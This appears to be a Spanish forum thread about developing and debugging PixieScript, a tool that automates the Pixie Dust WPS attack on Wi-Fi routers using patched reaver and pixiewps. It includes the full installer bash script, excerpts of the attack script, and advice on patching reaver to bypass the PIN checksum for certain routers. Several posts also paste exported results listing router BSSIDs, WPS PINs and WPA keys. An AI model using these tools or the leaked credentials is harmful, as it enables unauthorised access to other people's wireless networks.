Despues de ver que hay problemas con varios chipsets,he sacado la "artilleria",y ha probar se ha dicho.
El testeo,lo he realizado en 1 torre y 2 portatiles,tanto en USB LIVE,como INSTALADO en hdd.
He utilizado WIFISLAX 4.10.1 FINAL instalada y actualizada,y la ultima ISO en desarrollo en LIVE
***********************************
PORTATIL NEGRO:
INTEGRADO BROADCOM BCM 4313: OK
USB ALFA 1 Wt REALTEK RTL8187: OK
USB ALFA 2 Wt RALINK 3070: OK
USB TPLINK ATHEROS ATH9K: OK
USB ZYDAS ATHEROS ZD1211: OK
***********************************
PORTATIL BLANCO:
INTEGRADO BROADCOM BCM 4312: OK
USB ALFA 1 Wt REALTEK RTL8187: OK
USB ALFA 2 Wt RALINK 3070: OK
USB TPLINK ATHEROS ATH9K: OK
USB ZYDAS ATHEROS ZD1211: OK
***********************************
TORRE:
PCI CONCEPTRONIC C54ri RALINK RT2561: OK
USB ALFA 1 Wt REALTEK RTL8187: OK
USB ALFA 2 Wt RALINK 3070: OK
USB TPLINK ATHEROS ATH9K: OK
USB ZYDAS ATHEROS ZD1211: OK
************************************
CONCLUSION:
Funciona perfectamente,en todos los dispositivos wifi que tengo.
El unico problema,es con un cable USB,que ya me dio fallos en el pasado.
Hay veces,que una mala conexion,o una patilla desgastada,puede provocar fallos.
Tambien,con extensor USB falla,y conectado directamente OK
;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
UN SALUDO A TODOS
a mi me va bien el script con la atheros 9285 del portatil y con la alfa de 2w.
Aver si me entero los firmware de los chipset de las tarjetas usb que conectemos ya estan en la nueva iso no hay que hacer nada ??
USUARIONUEVO llevas toda la razon ya me doy yo el collejon por torpe , hoy a sido la primera vez que no me leo el CHANGELOG .. :-[ :-[ :-[ :-[
Hola a todos. Yo tengo una alfa de 2w y wifislax 4.10.1
Cuando trabajo con pixiewps no consigo nada, me sale
EXTRAYENDO DATOS.
NO PUEDO OBTENER LA CLAVE PKR.
Esto quiere decir que mi router no está dentro de las AP con las que funciona el ataque, o que lo estoy haciendo mal?
Un saludo
Claro, pero creo que no puedo obtener un pin porque se para al no encontrar la clave PKR.
Lo que quiero saber es si no encuentra la clave PKR (y posteriormente el pin y la clave) porque estoy haciendo algo mal o porque este ataque no funciona en mi router al no estar en la lista provisional de AP con los que funciona o por alguna incompatibilidad de la tarjeta wifi, etc...
es que en realidad no se de que sirve resetear el driver ... fue una moda que promovio alist3r
es que en realidad no se de que sirve resetear el driver ... fue una moda que promovio alist3r
Pues la verdad que yo tambien me pregunto para que lo hacemos jejejeje.... de que narices sirve resetearla!!!!
Por cierto, si tienes un rato te necesitaría de betatester , que ya tengo la nueva versión acabada y me gustaría que la probaras.... el cambio es BRUTAL
... Al arrancar el spript por primera vez si le doy a MENU--CLAVES--VER me salen 2 redes con su mac y su wpa ya en la lista que creo no deberian salir ...
..., a la hora de exportar las claves, la ultima me la repite siempre....no se si sera cosa mia o del script ...
Al exportar los resultados en un .txt me tira esto;
--------------------------------------------------------------:
vodafone7F87 6A:23:3D:73:7F:88 75692889 JLBHCTKUGIBDCW Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneF06A 72:3D:FF:4F:F0:68 52388880 DJZTNJIAXMSMPP Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneAD4E 6A:3D:FF:4F:AD:4C 52217081 GVKASGYH4TBCQC Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneAD4E 6A:3D:FF:4F:AD:4C 52217081 GVKASGYH4TBCQC Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
--------------------------------------------------------------:
La ultima mac y la penúltima son iguales, se supone que si estaba incluida en la base de datos de las vulnerables, a la hora de escanear las redes, al finalizar dicho escaneo y lanzar el resultado debería de marcarla con el icono de la V en verde como vulnerable y no con el interrogante como si no se haya probado, no? y si es nueva pues a la saca, si no lo es, que alguien me explique el por que de esto por favor.
Por otra parte, tenia la distro 10.0.1 instalada en VMware en HDD, he compilado he instalado el modulo la v2.5 del escript, hasta hay todo correcto y funcionando, pero (otro pero) una vez realizado las pruebas pertinentes con dicho router, mas dos de movistar con el wps activado y las configuración por default, con la v2.5 del script no las detecta como vulnerables pero con GoyScriptWPS si obtiene las claves.
Buenas,
En pincipio, enhrobuena >:( >:( >:(
Haber si alguien me aclara unas dudas que tengo y unos problemillas que han surgido despues de instalar la v2.5, el caso es que tengo varios routers en casa para realizar pruebas y "atacando" a uno de vodafone, cocretamente a este modelo;
vodafoneAD4E 6A:3D:FF:4F:AD:4C 52217081 GVKASGYH4TBCQC Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
---------------------------------------------:
Dicha Mac no estaba en esta lista:
---------------------------------------------:
00:02:6F
00:05:CA
00:22:F7
00:26:5B
00:A0:26
08:7A:4C
0C:96:BF
20:08:ED
00:02:6F
00:05:CA
00:22:F7
00:26:5B
00:A0:26
08:7A:4C
0C:96:BF
20:08:ED
5C:35:3B
62:53:D4
62:6B:D3
62:A8:E4
62:C0:6F
62:CB:A8
6A:23:3D
6A:A8:E4
6C:B0:CE
72:23:3D
72:3D:FF
72:55:9C
72:CB:A8
80:37:73
B2:46:FC
C8:D3:A3
D0:7A:B5
DC:53:7C
E8:CD:2D
5C:35:3B
62:53:D4
62:6B:D3
62:A8:E4
62:C0:6F
62:CB:A8
6A:23:3D
6A:A8:E4
6C:B0:CE
72:23:3D
72:3D:FF
72:55:9C
72:CB:A8
80:37:73
B2:46:FC
C8:D3:A3
D0:7A:B5
DC:53:7C
E8:CD:2D
--------------------------------------------------------------:
Al exportar los resultados en un .txt me tira esto;
--------------------------------------------------------------:
vodafone7F87 6A:23:3D:73:7F:88 75692889 JLBHCTKUGIBDCW Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneF06A 72:3D:FF:4F:F0:68 52388880 DJZTNJIAXMSMPP Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneAD4E 6A:3D:FF:4F:AD:4C 52217081 GVKASGYH4TBCQC Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
vodafoneAD4E 6A:3D:FF:4F:AD:4C 52217081 GVKASGYH4TBCQC Huawei Technologies Co., Ltd. Huawei Wireless Access Point RT2860 12345678 HuaweiAPS
--------------------------------------------------------------:
La ultima mac y la penúltima son iguales, se supone que si estaba incluida en la base de datos de las vulnerables, a la hora de escanear las redes, al finalizar dicho escaneo y lanzar el resultado debería de marcarla con el icono de la V en verde como vulnerable y no con el interrogante como si no se haya probado, no? y si es nueva pues a la saca, si no lo es, que alguien me explique el por que de esto por favor.
Por otra parte, tenia la distro 4.10.1 instalada en VMware en HDD, he instalado el modulo la v2.5 del escript, hasta hay todo correcto y funcionando, pero (otro pero) una vez realizado las pruebas pertinentes con dicho router, mas dos de movistar con el wps activado y las configuración por default, con la v2.5 del script no las detecta como vulnerables pero con GoyScriptWPS si obtiene las claves. (yo tengo ONO 20 MB)
Y ya por ultimo, ahora que veo el comentario de USUARIONUEVO sobre lo de las actualizaciones de slackware, a mi me llegaron, actualice y si, recuerdo que eran unas o 305 o 350, el caso es que al reiniciar la maquina se la ha cargado, hihih no llega al escritorio de wifislax, tira un mensaje de error llega al bootskin, se queda la pantalla en negro y no entra al desktop, bueno, si entra pero se queda en negro ya digo, tira la opción de formular y reportar el fallo.
Del mosqueo he eliminado la maquina directamente desde la biblioteca (fuego purificador) >.< cosa que no deberia de haber echo, los se, sorry, voy a intentar probocar dicho error y haber si lo puedo grabar y hacer un video, mas toda la info de los mensajes.
Saludos¡
Perdon..fallo mio.
Al ver la lista de MAC vi 54,pero es que hay repetidas...Realmente hay 35.
UN SALUDO A TODOS
PD: me pasa por mirar y no leer bien ;) ;) ;) ;) ;) ;) ;) ;)
#!/bin/bash
instalador_version=0.7
# Colores
CIERRE=${CIERRE:-"[0m"}
ROJO=${ROJO:-"[1;31m"}
VERDE=${VERDE:-"[1;32m"}
AMARILLO=${AMARILLO:-"[1;33m"}
CYAN=${CYAN:-"[1;36m"}
clear
Internet(){
# COMPROBAR ACCESO A INTERNET POR GEMINIS DEMON
if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then
echo "PARA PODER INSTALAR ESTA APLICACION ES NECESARIO DISPONER DE CONEXION A INTERNET"
echo ""
sleep 1
exit 0
fi
}
# Si el sistema no tiene reaver_pixie se baja ,parchea compila e instala
dependencia_reaver_pixie(){
echo "DESCARGANDO REAVER"
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
echo ""
echo "APLICANDO PARCHE REAVER"
cd reaver-wps-read-only/
rm -rf .svn/
patch -Np1 -i ../ReaverPixie.patch || exit 1
echo ""
echo "COMPILANDO REAVER"
cd src
./configure || exit 1
make || exit 1
cp -rf reaver /usr/bin/reaver_pixie
cd ..
cd ..
rm -rf reaver-wps-read-only/
}
echo "$ROJO"
echo "Dependencia reaver_pixie NO se cumple ... solucionando."
echo "$CIERRE"
Internet
dependencia_reaver_pixie
copiar_reaver_pixie=si
# Si el sistema no tiene pixiewps se baja, compila e instala
dependencia_pixiewps(){
echo ""
echo "DESCARGANDO PIXIEWPS 1.0"
wget https://github.com/wiire/pixiewps/archive/master.zip
echo ""
echo "DESCOMPRIMIENDO PIXIEWPS"
unzip master.zip
echo ""
echo "INSTALANDO PIXIEWPS"
cd pixiewps-master
cd src
make || exit 1
cp -rf pixiewps /usr/bin/pixiewps
cd ..
cd ..
rm master.zip
rm -rf pixiewps-master
}
echo "$ROJO"
echo "Dependencia pixiewps NO se cumple ... solucionando."
echo "$CIERRE"
Internet
dependencia_pixiewps
copiar_pixiewps=si
dependencia_xclip() {
echo ""
echo "DESCARGANDO XCLIP"
web_xclip=http://sourceforge.net/projects/xclip/files/
version_xclip=`curl -s $web_xclip | grep /latest |cut -d: -f1|rev|cut -d- -f1|rev|sed 's/.tar.gz//g'`
wget https://sourceforge.net/projects/xclip/files/latest/xclip-$version_xclip.tar.gz
echo ""
echo "DESCOMPRIMIENDO XCLIP"
tar -xzf xclip-$version_xclip.tar.gz
cd xclip-$version_xclip
./configure --prefix=/usr
make || exit 1
make install
cd ..
rm -rf xclip-$version_xclip
rm xclip-$version_xclip.tar.gz
}
if ! hash xclip &>/dev/null ; then
echo "$ROJO"
echo "Dependencia xclip NO se cumple ... solucionando."
echo "$CIERRE"
Internet
dependencia_xclip
copiar_xclip=si
else
echo "$VERDE"
echo "Dependencia xclip se cumple ... continuamos."
echo "$CIERRE"
copiar_xclip=no
sleep 1
fi
######################################################################################
#### HASTA AQUI DESCARGA E INSTALACION DE DEPENDENCIAS, AHORA EL PROPIO PIXIESCRIPT ##
######################################################################################
# Cd a la ruta del script
# Con esto dara igual si se abrio la terminal en la misma carpeta o en otra ruta
cd $(echo $0 | sed "s/$(basename $0)//g")
# Buscamos los iconos y los movemos
cp ICONOS/ICONO.png /usr/share/pixmaps/PixieScript.png
cp ICONOS/CLAVES.png /usr/share/pixmaps/PixieKeys.png
# Miramos si estamos en wifislax
if [ -f /etc/wifislax-version ]; then
wifislax="true"
else
wifislax="false"
fi
# Miramos version del script
script_version=$(grep VERSION= PixieScript | awk -F'"' {' print $2 '})
# Permisos a ejecutables
ruta=`pwd`
chmod 777 $ruta/*/* &>/dev/null
#### Instalamos en sistema ####
# Si la ruta existe , hay una version vieja ,por lo que sera eliminada
# Se regenerara la ruta para instalacion limpia
ruta_install=/opt/PixieScript
if [ -d $ruta_install ]; then
rm -rf $ruta_install
mkdir -p $ruta_install
else
mkdir -p $ruta_install
fi
# Copiamos todo a la ruta de sistema
cp -rf $ruta/* $ruta_install
# Generamos el fichero desktop
# Si estamos en wifislax , la ruta variara
if [ $wifislax = true ]; then
ruta_desktop=/usr/share/applications/wifislax/Wpa_wps
#### Generamos el acceso directo a la carpeta Keys
ln -f -s $ruta_install/PIXIESCRIPT_KEYS /opt/Wireless-Keys/PixieScript
else
ruta_desktop=/usr/share/applications
ln -f -s $ruta_install/PIXIESCRIPT_KEYS $HOME/Desktop/PixieScript_Keys
fi
# Definimos categoria en la que aparecera el lanzador del menu
if [ $wifislax = true ]; then
Categories="Wpa wps;"
else
Categories="Network;"
fi
# Ahora el fichero
echo "[Desktop Entry]
Categories=$Categories
Comment=by 5.1
Exec=sh -c "$ruta_install/PixieScript';${SHELL:-bash}'"
Icon=PixieScript
Name=PixieScript
Path=$ruta_install
StartupNotify=false
Terminal=false
Type=Application
Version=1.0" > $ruta_desktop/PixieScript.desktop
echo ""
echo "Instalador version ${AMARILLO}$instalador_version${CIERRE}"
echo ""
echo "Permisos concedidos y acceso creado en el menu en la categoria ${VERDE}$Categories${CIERRE}"
echo ""
if [ $wifislax = true ]; then
echo "Detectado sistema ${VERDE}wifislax${CIERRE}... ${AMARILO}¿quieres crear un modulo xzm para usarlo en modo live?${CIERRE}"
echo ""
echo "Pulsa ${ROJO}ENTER${CIERRE} para crear xzm o ${ROJO}CIERRA${CIERRE} el script si no necesitas el modulo xzm"
read
mkdir -p /tmp/PixieScript${ruta_install}
mkdir -p /tmp/PixieScript/usr/share/{pixmaps,applications/wifislax/Wpa_wps}
cp -rf $ruta/* /tmp/PixieScript${ruta_install}
cp -rf $ruta_desktop/PixieScript.desktop /tmp/PixieScript/$ruta_desktop
cp -rf /usr/share/pixmaps/PixieScript.png /tmp/PixieScript/usr/share/pixmaps
####################################
## Aqui generamos la carpeta keys ##
####################################
mkdir -p /tmp/PixieScript/opt/Wireless-Keys/
ln -f -s $ruta_install/PIXIESCRIPT_KEYS /tmp/PixieScript/opt/Wireless-Keys/PixieScript
cp -rf /usr/share/pixmaps/PixieKeys.png /tmp/PixieScript/usr/share/pixmaps
########################################################
## Variable que copiara los binarios que no tengamos ##
########################################################
if [ $copiar_pixiewps = si ]; then
mkdir -p /tmp/PixieScript/usr/bin
cp -rf /usr/bin/pixiewps /tmp/PixieScript/usr/bin/pixiewps
fi
if [ $copiar_reaver_pixie = si ]; then
mkdir -p /tmp/PixieScript/usr/bin
cp -rf /usr/bin/reaver_pixie /tmp/PixieScript/usr/bin/reaver_pixie
fi
if [ $copiar_xclip = si ]; then
mkdir -p /tmp/PixieScript/usr/bin
cp -rf /usr/bin/xclip /tmp/PixieScript/usr/bin/xclip
cp -rf /usr/bin/xclip-pastefile /tmp/PixieScript/usr/bin/xclip-pastefile
cp -rf /usr/bin/xclip-copyfile /tmp/PixieScript/usr/bin/xclip-copyfile
cp -rf /usr/bin/xclip-cutfile /tmp/PixieScript/usr/bin/xclip-cutfile
fi
##########################################################################################################
# Por si acaso volvemos a dar permisos
chmod 777 /tmp/PixieScript/*/* &>/dev/null
# Estripamos
stripdir /tmp/PixieScript &>/dev/null
# Creamos xzm
dir2xzm /tmp/PixieScript /tmp/PixieScript-$script_version-i486-1sw.xzm
# Limpieza
rm -rf /tmp/PixieScript
# Movemos el xzm a escritorio
mv -f /tmp/PixieScript-$script_version-i486-1sw.xzm $HOME/Desktop/
fi
echo ""
echo "${CYAN}Instalacion completada${CIERRE}"
echo "${AMARILLO}Bye Bye${CIERRE}"
exit 0
fichero ATACADAS ..contiene datos ¿deberia estar vacio?
fichero DATABASE_KEYS , contiene datos ..este ya digiste que debria estar vacio
fichero VULNERABLES ..linea 28 .. E8:CD:2D6A:23:3D:73:7F:88
todo eso esta junto , creo que son 2 o 3 macs que debrian aparecer en diferentes lineas y no todo junto en la 28
linea 29 de vulnerables, conitene mac completa
72:3D:FF:4F:F0:68
Tengo un problema, instale correctamente el PixieScript pero no puedo ejecutarlo.... tiene permisos y aun asi nada
espero que puedan ayudarme
(http://i57.tinypic.com/24wvmyt.png)
Hola a todos,y perdón por la tontería...
Resulta que trabajo con un Acer Aspire One y no cabe la gui en la pantalla;¿cómo podría modificar el tamaño de la ventana?.
Saludos..
np , ya sabes que no hay prisa con nada.
despues del 1 el 2.
wash -C -f /opt/PixieScript/LOGS/CAPTURA-01.cap
Muchísimas graciasHola a todos,y perdón por la tontería...
Resulta que trabajo con un Acer Aspire One y no cabe la gui en la pantalla;¿cómo podría modificar el tamaño de la ventana?.
Saludos..
Yo tambien tengo uno de esos,y me ocurria lo mismo.
Lo solucione,abriendo el programa,despues ,pincho con boton derecho del raton en la barra superior,mas acciones,preferencias especiales de la aplicacion,tamaño y posicion,y alli,marcar la casilla de tamaño y forzar.
Los parametros que yo he puesto son 758,531 (se pueden poner otros,segun el gusto de cada uno)
Con esto,ya te sale toda la pantalla.
UN SALUDO A TODOS
;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
Yo cuando ejecuto el script 2.5, me escanea redes en segundo plano pero no me aparecen en pantalla, sólo una de las 6 veces que lo he intentado me aparecen.El script 2.4 sí que me arranca sin problemas y me escanea las redes y me aparecen bien en pantalla aunque después de atacar la red me pone que "No puede obtener pin porque no puede obtener clave PKR".
Pues chico,la interface está levantada correctamente y en modo monitor...
Otra prueba, haz el scaneo y sin cerrar el programa abre la terminal y hazCódigo: [Seleccionar]wash -C -f /opt/PixieScript/LOGS/CAPTURA-01.cap
Y mira si te muestra alguna red
Pues chico,la interface está levantada correctamente y en modo monitor...
Otra prueba, haz el scaneo y sin cerrar el programa abre la terminal y hazCódigo: [Seleccionar]wash -C -f /opt/PixieScript/LOGS/CAPTURA-01.cap
Y mira si te muestra alguna red
Lo solucioné utilizando la iso del 26/04/2015
Gracias por las molestias
Donde has descargado esa iso?
wifislax-4.10.1 NO TIENE YAD ... creo que geminis posteo un modulo con yad.
wifislax-4.10.1 NO TIENE YAD ... creo que geminis posteo un modulo con yad.
wifislax-4.10.1 NO TIENE YAD ... creo que geminis posteo un modulo con yad.
Ah pues yo pensaba que si lo traia.
pero el error pone
yad .. no encontrado.
Como era de esperarse con pasos tan simples era cuestión de tiempo para que alguien se aventurara a generar un script de automatización del proceso, y eso fué lo que hizo alegoria51 o como se autodenomina dentro del script “5.1” de la comunidad SeguridadWireless, quien automatizó totalmente en español el proceso del pixiewps con un instalador que instala las dependencias y el parchea el reaver para que nos arroje los datos en modo read only, ademas de añadir funcionalidades como verificar si la mac del objetivo es compatible o no con el ataque y en la ultima versión puso todo con una agradable versión gráfica.
;D ;D ;D ;D ;D ;D ;DCitarComo era de esperarse con pasos tan simples era cuestión de tiempo para que alguien se aventurara a generar un script de automatización del proceso, y eso fué lo que hizo alegoria51 o como se autodenomina dentro del script “5.1” de la comunidad SeguridadWireless, quien automatizó totalmente en español el proceso del pixiewps con un instalador que instala las dependencias y el parchea el reaver para que nos arroje los datos en modo read only, ademas de añadir funcionalidades como verificar si la mac del objetivo es compatible o no con el ataque y en la ultima versión puso todo con una agradable versión gráfica.
Hola,
Lo primero gracias gracias por el script, >:(
Lo instalo sin problemas en WifiSlax 4.10.1 ejecutado desde USB (Sin persistencia) pero al iniciar el escaneo, o devuelve un error diciendo que no hay redes con WPS disponible (y hay varias) o directamente da un error dicendo "Ha habido un error escaneando redes".
¿Problema conocido? ¿Alguna sugerencia?
Gracias.
Hola, lo he instalado (v2.5) en mi maquina virtual con virtualbox con wifislax 4.10.1 . En principio lo instala todo sin problemas, pero cuando me voy al menu wifislax -> Wpa wps no encuentro PixieScript, ¿que estoy haciendo mal?? ???rt2800usb
Edito: ya he dado con ello, pero a la hora de iniciar escaneo me aparece el error "Ha ocurrido un error escaneando redes" ... mi tarjeta de red es rt2800usb con chipset Ralink 3070
voy a "hablar por hablar"
siendo maquina virtual ,cuando reseteamos el driver la tarjeta es como desconectada..
¿no sera que se pierde hay la tarjeta?
¿por que siempre es con maquina virtual?
¿por que no hacen lo mismo desde un usb para ver que pasa ?
ResetInterface() {
DRIVER=`ls -l /sys/class/net/$TARJETA_SELECCIONADA/device/driver | awk -F '/' '{print $NF}'`
####
DesactivarMONsX
unset DRIVER
return 0
##### Por ahora deshabilito el resto de la función por los problemas de desaparecer las interfaces de red
rmmod -f "$DRIVER" >/dev/null 2>&1
if [ "$DRIVER" = "ath9k_htc" ]
then
ifconfig $TARJETA_SELECCIONADA >/dev/null 2>&1
while [ $? -eq 0 ] #esperamos a que se desactive el módulo de la interfaz
do
ifconfig $TARJETA_SELECCIONADA >/dev/null 2>&1
done
fi
modprobe "$DRIVER" >/dev/null 2>&1
if [ "$DRIVER" = "ath9k_htc" ]
then
ifconfig $TARJETA_SELECCIONADA >/dev/null 2>&1
while [ $? -ne 0 ] #esperamos a que se active el módulo de la interfaz
do
ifconfig $TARJETA_SELECCIONADA >/dev/null 2>&1
done
fi
}
estado probando la ultima iso veta que lleva i PixieScript me e dado cuenta que tiene un error cuando buscas las redes y seleccionas ejemplo te salen 1.2.3.4.5.6.7 redes yo selecciono a tacar la red numero 7 pues me ataca la primera redes no seleccionada .
saludos .
5.1 pues que va yo solo selecciono atacar a una app
Obtenidas un 6A:CD:BE y un 6A:3D:FF (El primero no esta en la lista de bssid vulnerables)
Hace un rato he probado la version 2.6 y a la hora de escanear me salian mensajes de error: "Ha ocurrido un error escaneando redes" o " No se han detectado redes con wps activo".
saludos
cat /opt/PixieScript/LOGS/AIRODUMP.LOG | wc -l | awk {' print$1 '}
¿Que te devuelve ?svn cleanup
Una duda, yo tengo un netbook con una pantalla de 1024 x 600 y la ventana tiene un tamaño fijo; ¿no se podría hacer para que entrase en pantalla?
Obtenidas un 6A:CD:BE y un 6A:3D:FF (El primero no esta en la lista de bssid vulnerables)
Hace un rato he probado la version 2.6 y a la hora de escanear me salian mensajes de error: "Ha ocurrido un error escaneando redes" o " No se han detectado redes con wps activo".
saludos
***************** ListarTarjetasWifi
***************** ActivarModoMonitor
***************** CheckInterface
***************** DeshabilitarNetworkManager
lo no wireless extensions.
eth0 no wireless extensions.
***************** EscanearRedes
***************** ValidarTiempos
***************** ComprobarSesiones
***************** ProcesarDatosScaneo
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
***************** Limpiar
***************** DeshabilitarNetworkManager
Interface Chipset Driver
wlan0 Unknown brcmsmac - [phy0]
mon0 Unknown brcmsmac - [phy0] (removed)
mon1 Unknown brcmsmac - [phy0]
reaver_pixie: no process found
airodump-ng: no process found
xclip: no process found
pixiewps: no process found
cpulimit: no process found
Ummmm, ojala tengas razon, me lo leo con calma....
Lo raro es que a mi no me ha fallado ni en WifiSlax ni en Linux Minst, que son las dos distros que tengo instaladas , supongo que me pilla el db del sistema.
En fin, ahora mismo me pongo a ello pq me tiene muy mosca el tema.
Muchas gracias USUARIONUEVO, no se que haria yo sin ti!! jejejeje
PD: Una cosa, la mejor forma de asegurarme que funciona bien, supongo que seria eliminar del sistema el reaverdb no? Me refiero el que viene por defecto con wifislax. Y una vez hecho eso hacer lo que me expicas en los 2 posts anteriores ... ¿Correcto?
./configure --prefix=$RUTA_HERRAMIENTAS --sysconfdir=$RUTA_HERRAMIENTAS &> COMPILANDO_REAVER || ErroresDependencias 2
make &>> COMPILANDO_REAVER || ErroresDependencias 2
echo "OK"
echo " LIMPIANDO .................... OK "
cp reaver "$RUTA_HERRAMIENTAS/reaver_pixie"
cp wash "$RUTA_HERRAMIENTAS/wash"
# La carpeta reaver ya existe creamos una temporal y despues renombramos
mkdir -p $RUTA_HERRAMIENTAS/reaver2
cp reaver.db $RUTA_HERRAMIENTAS/reaver2/reaver.db
cd "$RUTA_HERRAMIENTAS"
rm -rf reaver
mv $RUTA_HERRAMIENTAS/reaver2 $RUTA_HERRAMIENTAS/reaver
else
echo "OK"
fi
echo -n "COMPROBANDO DEPENDENCIA PIXIEWPS ..... "
men , hazme caso ;D
wash , WASH , para trabajar necesita el .db
y como tu ahora compilas uno propio , necesitas su db en la ruta de trabajo donde se configuro
como no se configuro nada ..
./configure
pues las rutas son las de por defecto de usuario LOCAL
es wash ...aunque no lo uses para escanear , lo usas para parsear los .cap e identificar objetivos.
en la respuesta #364
deje definidas las rutas a /opt/pixie
probado desde cero y funcionando.
;)
lo de la carpeta temporal reaver2 , es por que asi al borrar la carpeta de sources no te cepillas el db que ya se movio a reaver2 y despues al final se le quita el 2 y a rular. 8)
en la respuesta #364
deje definidas las rutas a /opt/pixie
probado desde cero y funcionando.
;)
lo de la carpeta temporal reaver2 , es por que asi al borrar la carpeta de sources no te cepillas el db que ya se movio a reaver2 y despues al final se le quita el 2 y a rular. 8)
Me parece que lo que mas me mola de la informática es comerme la cabeza y resolver los problemas cuando algo no va bien jejeje...
Hago un par de pruebas mas y subo la 2.6.1
Ale , a probar mas. 8)
Bueno, lo de que al cerrarlo en medio de un ataque se quede pillado tiene una solucion sencilla, mañana me lo miro tranquilamente e intento reproducir el error, pero vamos, no es un problema solucionarlo,
Por otro lado, con las infinitas pruebas que he realizado, me pasa a menud que justo despues de conseguir el PIN, el router se medio cierra en banda y no escupe la clave WPA.
Sin embargo, si te vas al menu ver, te deberia salir la linea con ese router, la marcas y le das a "Recuperar clave WPA" y de esta manera me ha recuperado claves que de otra forma no lo hacia.
Prueba a ver si tienes suerte.
Bueno, lo de que al cerrarlo en medio de un ataque se quede pillado tiene una solucion sencilla, mañana me lo miro tranquilamente e intento reproducir el error, pero vamos, no es un problema solucionarlo,
Por otro lado, con las infinitas pruebas que he realizado, me pasa a menud que justo despues de conseguir el PIN, el router se medio cierra en banda y no escupe la clave WPA.
Sin embargo, si te vas al menu ver, te deberia salir la linea con ese router, la marcas y le das a "Recuperar clave WPA" y de esta manera me ha recuperado claves que de otra forma no lo hacia.
Prueba a ver si tienes suerte.
NO . men lee , es IMPORTANTE , esa mac NO USA UN PIN CKECKSUM
con lo que sin un reaver modificado a tal fin (como reavermod) ... no se puede obtener el wpa
sabes que el pin , el ultimo digito es el checksum ..
en esos amper , se pasaron esa regla por el forro , y el ultimo numero es el que les da la gana a ellos.
O modificas reaver , o ... para esas macs dile que lance reavermod ...
lo suyo es modificar el reaver ... añadirlo al .patch
habia hilos , la modificacion era sencilla ...
seria un bombazo que cayeran esos routers en segundos ...por que hasta la fecha solo hay un bruteforce completo all pins
creo , no eres consciente , es IMPORTANTE.
seguramente nadie se dio cuenta de esa sutileza ....
Acabo de actualizar a la versión 2.6.1 y me sigue sin salir ninguna red al realizar el scaneo.
Al instalar el script me pide que instale la aplicación yad,sino no me lo instala.
Acabo de actualizar a la versión 2.6.1 y me sigue sin salir ninguna red al realizar el scaneo.
Al instalar el script me pide que instale la aplicación yad,sino no me lo instala.
y que sistema usas ..que no tiene yad ... ^-^
Pero lo que nos interesaria es simplemente que nos deje probar un pin que no cumpla el checksum no? El hecho de que en un ataque normal de reaver el ultimo pin siempre sea checksum da igual, ya que ese ataque no nos interesa, tan solo nos interesa el ataque con un pin especifico, aunque no cumpla la regla checksum.
Acabo de actualizar a la versión 2.6.1 y me sigue sin salir ninguna red al realizar el scaneo.
Al instalar el script me pide que instale la aplicación yad,sino no me lo instala.
y que sistema usas ..que no tiene yad ... ^-^
Uso wifislax 4.10 instalado en un usb.La versión 2.5 me iba sin problemas.
Acabo de actualizar a la versión 2.6.1 y me sigue sin salir ninguna red al realizar el scaneo.
Al instalar el script me pide que instale la aplicación yad,sino no me lo instala.
y que sistema usas ..que no tiene yad ... ^-^
Uso wifislax 4.10 instalado en un usb.La versión 2.5 me iba sin problemas.
pues no se por que te pide yad ..si wifislax ya lo lleva.
A ver, quiza me aventure a hablar sin mirarlo en profundidad, pero digo yo que traceando desde el principio el argumento -p deberiamos llegar a una funcion que verifique el si el pin cumple con el checksum, y si no cumple devolver un false o algo similar.... simplemente tocando que siempre devuelva un true deberiamos poder conseguir lo que necesitamos.
Aunque repito, estoy hablando por hablar eh, no me lo he mirado bien.
ok , mañana mas.
EDIT: Algo no cuadra aqui
cuando ataco al router amper , dice PIN CONSEGUIDO
sin embargo el campo PIN , de REAVER.LOG esta vacio
es mas , esta mal formado ya que mete como datos cosas como la ruta de trabajo ...tal vez se deba a que no consigue los datos de algu campo ...y se haga un lio despues.
voy a intentar el proceso a manopla.
___________________________
proceso a mano = PIN NOT FOUND
con lo que todo apunta a algun problema en la gui ... por que la gui dice pin encontrado ,pero el REAVER.LOG , no lleva el pin en realidad.
Probada la 2.6.1 en ws 4.10.1 y me sigue dando "ha ocurrido un error al escanear redes", un saludo y a seguir probando. ;)
# Sin en el REAVER.LOG encuentra la caden "WPS pin not found"
if grep -q "WPS pin not found" "$LOG_ATAQUE"
then
# Comprueba si esta la cadena que nos indica que es posible el ataque bruteforce
if grep -q "Try again with --force or with another (newer) set of data." "$LOG_ATAQUE"
then
# Si estamos en modo automatico (atacar todos) no lo agrega, y si estamos en atacar un solo ap seguimos
if [ $AUTOMATICO = "NO" ]
then
# Nos pregunta si queremos agregar una sesión de bruteforce
seguir=$(yad --image "dialog-question" --title "SESION BRUTEFORCE" --button=gtk-yes ......... $ICONO_SOFT)
ret=$?
# Si le decimos que si
if [ $ret = "1" ]
then
# Comprueba si ya existe el archivo con los datos del bssid en la carpeta bruteforce, eso indica que ya esta agregado anteriormente
if [ -f "$RUTA_BRUTEFORCE/$BSSID.BF" ]
then
echo "$BSSID : YA HAY UNA SESION DE BRUTEFORCE PARA $BSSID, NO SE AÑADIRA" > "$LOG_STATUSBAR"
ATAQUE_ACABADO="SI"
return 1
fi
# Si no lo esta recopila los datos necesarios
RecopilarDatosBruteforce
# Escribe el aviso de agregarda la sesion en la barra de statusbar
echo "$BSSID : AÑADIDO A SESIONES DE BRUTEFORCE" > "$LOG_STATUSBAR"
